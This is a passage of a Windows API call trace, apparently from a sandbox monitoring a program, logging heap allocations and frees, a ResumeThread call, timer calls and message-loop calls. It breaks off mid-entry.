[75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0167.917] ResumeThread (hThread=0x2b0) returned 0x1 [0167.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4a8 [0167.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xee5f00 [0167.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078a10 [0167.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10789e0 [0167.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078a40 [0167.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078950 [0167.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa38 [0167.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078950 | out: hHeap=0xe80000) returned 1 [0167.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0167.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078a40 | out: hHeap=0xe80000) returned 1 [0167.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10788f0 [0167.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078a88 [0167.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078908 [0167.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa38 [0167.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078908 | out: hHeap=0xe80000) returned 1 [0167.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0x10499f0 [0167.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1144810 | out: hHeap=0xe80000) returned 1 [0167.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10789f8 [0167.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078b60 [0167.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078b18 [0167.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafae8 [0167.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10b7808 | out: hHeap=0xe80000) returned 1 [0167.993] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078950 [0167.993] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078aa0 [0167.993] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078ad0 [0167.993] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc38 [0167.993] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ad0 | out: hHeap=0xe80000) returned 1 [0167.993] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc38 | out: hHeap=0xe80000) returned 1 [0167.993] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078aa0 | out: hHeap=0xe80000) returned 1 [0167.993] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0167.993] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0167.993] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa78 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785c0 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078848 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078770 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078800 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10786c8 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078860 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078710 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10786e0 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078728 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10787e8 | out: hHeap=0xe80000) returned 1 [0167.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078818 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078788 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078878 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078890 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10787a0 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784d0 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078428 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784b8 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782f0 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0167.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078458 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783e0 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784e8 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784a0 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078548 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078440 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078518 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078320 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078530 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078560 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783f8 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078578 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078590 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078410 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785a8 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782d8 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782c0 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078308 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078350 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078338 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078368 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078740 | out: hHeap=0xe80000) returned 1 [0167.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078680 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078638 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785d8 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788a8 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078830 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785f0 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078620 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078758 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10787b8 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10786f8 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10787d0 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078668 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078608 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078698 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10786b0 | out: hHeap=0xe80000) returned 1 [0167.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xedca38 | out: hHeap=0xe80000) returned 1 [0167.998] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078380 | out: hHeap=0xe80000) returned 1 [0167.998] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0167.998] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7998 | out: hHeap=0xe80000) returned 1 [0167.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf958 [0167.998] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4a8 | out: hHeap=0xe80000) returned 1 [0167.998] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0167.998] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 1 [0167.998] TranslateMessage (lpMsg=0xbdf794) returned 0 [0167.998] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0167.999] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0167.999] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0167.999] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0167.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4f8 [0167.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784a0 [0167.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0167.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0167.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0167.999] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784a0 | out: hHeap=0xe80000) returned 1 [0168.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0168.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0168.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078548 [0168.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078548 | out: hHeap=0xe80000) returned 1 [0168.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0168.144] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.144] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4f8 [0168.144] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782c0 [0168.144] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782c0 | out: hHeap=0xe80000) returned 1 [0168.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0168.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0168.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0168.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0168.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0168.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0168.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7798 [0168.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7798 | out: hHeap=0xe80000) returned 1 [0168.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0168.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0168.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0168.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0168.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb10 [0168.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.148] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb10 | out: hHeap=0xe80000) returned 1 [0168.148] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.148] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.149] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.149] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.149] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.149] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.149] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.149] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0168.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) 